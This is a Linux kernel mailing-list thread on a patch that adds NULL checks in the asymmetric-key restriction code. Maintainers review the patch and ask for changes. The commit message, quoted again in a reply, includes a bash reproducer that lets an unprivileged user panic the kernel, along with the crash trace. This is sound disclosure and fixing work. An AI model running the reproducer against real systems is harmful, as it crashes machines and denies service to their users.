* [PATCH v2] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference
@ 2026-05-02 16:33 Weiming Shi
2026-05-05 9:34 ` Herbert Xu
2026-06-22 4:16 ` Herbert Xu
0 siblings, 2 replies; 4+ messages in thread
From: Weiming Shi @ 2026-05-02 16:33 UTC (permalink / raw)
To: David Howells, Lukas Wunner, Ignat Korchagin, Herbert Xu,
David S . Miller
Cc: Jarkko Sakkinen, keyrings, linux-crypto, Xiang Mei, Weiming Shi
asymmetric_key_ids() returns key->payload.data[asym_key_ids], which can
be NULL for keys parsed by the PKCS#8 parser (pkcs8_parser.c explicitly
stores NULL in prep->payload.data[asym_key_ids]).
key_or_keyring_common() in restrict.c and find_asymmetric_key() in
asymmetric_type.c both dereference this return value without checking
for NULL. An unprivileged user can trigger a NULL pointer dereference
in key_or_keyring_common() by creating a PKCS#8 key, restricting a
keyring with key_or_keyring:<pkcs8_serial>, and adding an X.509 cert
to the restricted keyring. CONFIG_PKCS8_PRIVATE_KEY_PARSER=y is
required.
The following bash script can reproduce the issue:
#!/bin/bash
modprobe pkcs8_key_parser 2>/dev/null
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:1024 \
-out /tmp/poc.pem 2>/dev/null
openssl pkcs8 -topk8 -nocrypt -in /tmp/poc.pem \
-outform DER -out /tmp/poc.p8
openssl req -new -x509 -key /tmp/poc.pem -outform DER \
-out /tmp/poc.der -days 365 -subj "/CN=Test" \
-addext "subjectKeyIdentifier=hash" \
-addext "authorityKeyIdentifier=keyid:always" 2>/dev/null
PKCS8_ID=$(keyctl padd asymmetric pkcs8key @s < /tmp/poc.p8)
KR=$(keyctl newring test_kr @s)
keyctl restrict_keyring $KR asymmetric "key_or_keyring:$PKCS8_ID"
keyctl padd asymmetric trigger $KR < /tmp/poc.der
rm -f /tmp/poc.pem /tmp/poc.p8 /tmp/poc.der
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000
KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
RIP: 0010:key_or_keyring_common (crypto/asymmetric_keys/restrict.c:205 crypto/asymmetric_keys/restrict.c:279)
Call Trace:
<TASK>
__key_create_or_update (security/keys/key.c:884)
key_create_or_update (security/keys/key.c:1021)
__do_sys_add_key (security/keys/keyctl.c:134)
do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)
entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
</TASK>
Kernel panic - not syncing: Fatal exception
Add a NULL check in find_asymmetric_key(), mirroring the existing
pattern in asymmetric_match_key_ids() and asymmetric_key_describe().
In key_or_keyring_common(), skip the trusted key matching when it
has no key IDs and fall through to the check_dest path.
Fixes: 7d30198ee24f ("keys: X.509 public key issuer lookup without AKID")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
v2: add bash reproducer to commit message (Ignat)
crypto/asymmetric_keys/asymmetric_type.c | 2 ++
crypto/asymmetric_keys/restrict.c | 9 +++++++--
2 files changed, 9 insertions(+), 2 deletions(-)
diff --git a/crypto/asymmetric_keys/asymmetric_type.c b/crypto/asymmetric_keys/asymmetric_type.c
index 16a7ae16593c..22f04656d529 100644
--- a/crypto/asymmetric_keys/asymmetric_type.c
+++ b/crypto/asymmetric_keys/asymmetric_type.c
@@ -109,6 +109,8 @@ struct key *find_asymmetric_key(struct key *keyring,
if (id_0 && id_1) {
const struct asymmetric_key_ids *kids = asymmetric_key_ids(key);
+ if (!kids)
+ goto reject;
if (!kids->id[1]) {
pr_debug("First ID matches, but second is missing\n");
goto reject;
diff --git a/crypto/asymmetric_keys/restrict.c b/crypto/asymmetric_keys/restrict.c
index 86292965f493..ccf1084f720e 100644
--- a/crypto/asymmetric_keys/restrict.c
+++ b/crypto/asymmetric_keys/restrict.c
@@ -243,10 +243,14 @@ static int key_or_keyring_common(struct key *dest_keyring,
if (IS_ERR(key))
key = NULL;
} else if (trusted->type == &key_type_asymmetric) {
+ const struct asymmetric_key_ids *kids;
const struct asymmetric_key_id **signer_ids;
- signer_ids = (const struct asymmetric_key_id **)
- asymmetric_key_ids(trusted)->id;
+ kids = asymmetric_key_ids(trusted);
+ if (!kids)
+ goto skip_trusted;
+
+ signer_ids = (const struct asymmetric_key_id **)kids->id;
/*
* The auth_ids come from the candidate key (the
@@ -290,6 +294,7 @@ static int key_or_keyring_common(struct key *dest_keyring,
}
}
+skip_trusted:
if (check_dest && !key) {
/* See if the destination has a key that signed this one. */
key = find_asymmetric_key(dest_keyring, sig->auth_ids[0],
--
2.43.0
^ permalink raw reply related [flat|nested] 4+ messages in thread* Re: [PATCH v2] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference
2026-05-02 16:33 [PATCH v2] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference Weiming Shi
@ 2026-05-05 9:34 ` Herbert Xu
2026-06-22 4:16 ` Herbert Xu
1 sibling, 0 replies; 4+ messages in thread
From: Herbert Xu @ 2026-05-05 9:34 UTC (permalink / raw)
To: Weiming Shi
Cc: David Howells, Lukas Wunner, Ignat Korchagin, David S . Miller,
Jarkko Sakkinen, keyrings, linux-crypto, Xiang Mei
On Sat, May 02, 2026 at 09:33:29AM -0700, Weiming Shi wrote:
> asymmetric_key_ids() returns key->payload.data[asym_key_ids], which can
> be NULL for keys parsed by the PKCS#8 parser (pkcs8_parser.c explicitly
> stores NULL in prep->payload.data[asym_key_ids]).
>
> key_or_keyring_common() in restrict.c and find_asymmetric_key() in
> asymmetric_type.c both dereference this return value without checking
> for NULL. An unprivileged user can trigger a NULL pointer dereference
> in key_or_keyring_common() by creating a PKCS#8 key, restricting a
> keyring with key_or_keyring:<pkcs8_serial>, and adding an X.509 cert
> to the restricted keyring. CONFIG_PKCS8_PRIVATE_KEY_PARSER=y is
> required.
>
> The following bash script can reproduce the issue:
>
> #!/bin/bash
> modprobe pkcs8_key_parser 2>/dev/null
> openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:1024 \
> -out /tmp/poc.pem 2>/dev/null
> openssl pkcs8 -topk8 -nocrypt -in /tmp/poc.pem \
> -outform DER -out /tmp/poc.p8
> openssl req -new -x509 -key /tmp/poc.pem -outform DER \
> -out /tmp/poc.der -days 365 -subj "/CN=Test" \
> -addext "subjectKeyIdentifier=hash" \
> -addext "authorityKeyIdentifier=keyid:always" 2>/dev/null
> PKCS8_ID=$(keyctl padd asymmetric pkcs8key @s < /tmp/poc.p8)
> KR=$(keyctl newring test_kr @s)
> keyctl restrict_keyring $KR asymmetric "key_or_keyring:$PKCS8_ID"
> keyctl padd asymmetric trigger $KR < /tmp/poc.der
> rm -f /tmp/poc.pem /tmp/poc.p8 /tmp/poc.der
>
> Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000
> KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
> RIP: 0010:key_or_keyring_common (crypto/asymmetric_keys/restrict.c:205 crypto/asymmetric_keys/restrict.c:279)
> Call Trace:
> <TASK>
> __key_create_or_update (security/keys/key.c:884)
> key_create_or_update (security/keys/key.c:1021)
> __do_sys_add_key (security/keys/keyctl.c:134)
> do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)
> entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
> </TASK>
> Kernel panic - not syncing: Fatal exception
>
> Add a NULL check in find_asymmetric_key(), mirroring the existing
> pattern in asymmetric_match_key_ids() and asymmetric_key_describe().
> In key_or_keyring_common(), skip the trusted key matching when it
> has no key IDs and fall through to the check_dest path.
>
> Fixes: 7d30198ee24f ("keys: X.509 public key issuer lookup without AKID")
> Reported-by: Xiang Mei <xmei5@asu.edu>
> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> ---
> v2: add bash reproducer to commit message (Ignat)
>
> crypto/asymmetric_keys/asymmetric_type.c | 2 ++
> crypto/asymmetric_keys/restrict.c | 9 +++++++--
> 2 files changed, 9 insertions(+), 2 deletions(-)
Patch applied. Thanks.
--
Email: Herbert Xu <herbert@gondor.apana.org.au>
Home Page: http://gondor.apana.org.au/~herbert/
PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH v2] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference
2026-05-02 16:33 [PATCH v2] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference Weiming Shi
2026-05-05 9:34 ` Herbert Xu
@ 2026-06-22 4:16 ` Herbert Xu
2026-06-22 14:56 ` Jarkko Sakkinen
1 sibling, 1 reply; 4+ messages in thread
From: Herbert Xu @ 2026-06-22 4:16 UTC (permalink / raw)
To: Weiming Shi
Cc: David Howells, Lukas Wunner, Ignat Korchagin, David S . Miller,
Jarkko Sakkinen, keyrings, linux-crypto, Xiang Mei
On Sat, May 02, 2026 at 09:33:29AM -0700, Weiming Shi wrote:
>
> diff --git a/crypto/asymmetric_keys/asymmetric_type.c b/crypto/asymmetric_keys/asymmetric_type.c
> index 16a7ae16593c..22f04656d529 100644
> --- a/crypto/asymmetric_keys/asymmetric_type.c
> +++ b/crypto/asymmetric_keys/asymmetric_type.c
> @@ -109,6 +109,8 @@ struct key *find_asymmetric_key(struct key *keyring,
> if (id_0 && id_1) {
> const struct asymmetric_key_ids *kids = asymmetric_key_ids(key);
>
> + if (!kids)
> + goto reject;
This check is actually unnecessary because we've already matched
the key against the kid so it must be present.
I'd get rid of this check or perhaps add a comment instead.
> if (!kids->id[1]) {
> pr_debug("First ID matches, but second is missing\n");
> goto reject;
> diff --git a/crypto/asymmetric_keys/restrict.c b/crypto/asymmetric_keys/restrict.c
> index 86292965f493..ccf1084f720e 100644
> --- a/crypto/asymmetric_keys/restrict.c
> +++ b/crypto/asymmetric_keys/restrict.c
> @@ -243,10 +243,14 @@ static int key_or_keyring_common(struct key *dest_keyring,
> if (IS_ERR(key))
> key = NULL;
> } else if (trusted->type == &key_type_asymmetric) {
> + const struct asymmetric_key_ids *kids;
> const struct asymmetric_key_id **signer_ids;
>
> - signer_ids = (const struct asymmetric_key_id **)
> - asymmetric_key_ids(trusted)->id;
> + kids = asymmetric_key_ids(trusted);
> + if (!kids)
> + goto skip_trusted;
Yes this is definitely buggy.
I think it was introduced by these two commits:
commit 3c58b2362ba828ee2970c66c6a6fd7b04fde4413
Author: David Howells <dhowells@redhat.com>
Date: Tue Oct 9 17:47:46 2018 +0100
KEYS: Implement PKCS#8 RSA Private Key parser [ver #2]
and
commit 7e3c4d22083f6e7316c5229b6197ca2d5335aa35
Author: Mat Martineau <martineau@kernel.org>
Date: Mon Jun 27 16:45:16 2016 -0700
KEYS: Restrict asymmetric key linkage using a specific keychain
So the Fixes header should point to them.
> @@ -290,6 +294,7 @@ static int key_or_keyring_common(struct key *dest_keyring,
> }
> }
>
> +skip_trusted:
> if (check_dest && !key) {
> /* See if the destination has a key that signed this one. */
> key = find_asymmetric_key(dest_keyring, sig->auth_ids[0],
I'm not sure continuing here is a good idea. Having a private key
here makes no sense whatsoever and we should just bail out right
away.
I would recommend returning an error of some sort if kids is NULL.
David/Lukas/Ignat, any opinions?
Thanks,
--
Email: Herbert Xu <herbert@gondor.apana.org.au>
Home Page: http://gondor.apana.org.au/~herbert/
PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH v2] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference
2026-06-22 4:16 ` Herbert Xu
@ 2026-06-22 14:56 ` Jarkko Sakkinen
0 siblings, 0 replies; 4+ messages in thread
From: Jarkko Sakkinen @ 2026-06-22 14:56 UTC (permalink / raw)
To: Herbert Xu
Cc: Weiming Shi, David Howells, Lukas Wunner, Ignat Korchagin,
David S . Miller, keyrings, linux-crypto, Xiang Mei
On Mon, Jun 22, 2026 at 12:16:07PM +0800, Herbert Xu wrote:
> On Sat, May 02, 2026 at 09:33:29AM -0700, Weiming Shi wrote:
> >
> > diff --git a/crypto/asymmetric_keys/asymmetric_type.c b/crypto/asymmetric_keys/asymmetric_type.c
> > index 16a7ae16593c..22f04656d529 100644
> > --- a/crypto/asymmetric_keys/asymmetric_type.c
> > +++ b/crypto/asymmetric_keys/asymmetric_type.c
> > @@ -109,6 +109,8 @@ struct key *find_asymmetric_key(struct key *keyring,
> > if (id_0 && id_1) {
> > const struct asymmetric_key_ids *kids = asymmetric_key_ids(key);
> >
> > + if (!kids)
> > + goto reject;
>
> This check is actually unnecessary because we've already matched
> the key against the kid so it must be present.
>
> I'd get rid of this check or perhaps add a comment instead.
+1
>
> > if (!kids->id[1]) {
> > pr_debug("First ID matches, but second is missing\n");
> > goto reject;
> > diff --git a/crypto/asymmetric_keys/restrict.c b/crypto/asymmetric_keys/restrict.c
> > index 86292965f493..ccf1084f720e 100644
> > --- a/crypto/asymmetric_keys/restrict.c
> > +++ b/crypto/asymmetric_keys/restrict.c
> > @@ -243,10 +243,14 @@ static int key_or_keyring_common(struct key *dest_keyring,
> > if (IS_ERR(key))
> > key = NULL;
> > } else if (trusted->type == &key_type_asymmetric) {
> > + const struct asymmetric_key_ids *kids;
> > const struct asymmetric_key_id **signer_ids;
> >
> > - signer_ids = (const struct asymmetric_key_id **)
> > - asymmetric_key_ids(trusted)->id;
> > + kids = asymmetric_key_ids(trusted);
> > + if (!kids)
> > + goto skip_trusted;
>
> Yes this is definitely buggy.
>
> I think it was introduced by these two commits:
>
> commit 3c58b2362ba828ee2970c66c6a6fd7b04fde4413
> Author: David Howells <dhowells@redhat.com>
> Date: Tue Oct 9 17:47:46 2018 +0100
>
> KEYS: Implement PKCS#8 RSA Private Key parser [ver #2]
>
> and
>
> commit 7e3c4d22083f6e7316c5229b6197ca2d5335aa35
> Author: Mat Martineau <martineau@kernel.org>
> Date: Mon Jun 27 16:45:16 2016 -0700
>
> KEYS: Restrict asymmetric key linkage using a specific keychain
>
> So the Fixes header should point to them.
+1
>
> > @@ -290,6 +294,7 @@ static int key_or_keyring_common(struct key *dest_keyring,
> > }
> > }
> >
> > +skip_trusted:
> > if (check_dest && !key) {
> > /* See if the destination has a key that signed this one. */
> > key = find_asymmetric_key(dest_keyring, sig->auth_ids[0],
>
> I'm not sure continuing here is a good idea. Having a private key
> here makes no sense whatsoever and we should just bail out right
> away.
>
> I would recommend returning an error of some sort if kids is NULL.
>
> David/Lukas/Ignat, any opinions?
I think with a quick skim that you are right. I'll work on this area
for the next version.
>
> Thanks,
> --
> Email: Herbert Xu <herbert@gondor.apana.org.au>
> Home Page: http://gondor.apana.org.au/~herbert/
> PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt
Thanks for the review!
BR, Jarkko
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-06-22 14:56 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-02 16:33 [PATCH v2] asymmetric_keys: check asymmetric_key_ids() for NULL before dereference Weiming Shi
2026-05-05 9:34 ` Herbert Xu
2026-06-22 4:16 ` Herbert Xu
2026-06-22 14:56 ` Jarkko Sakkinen
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox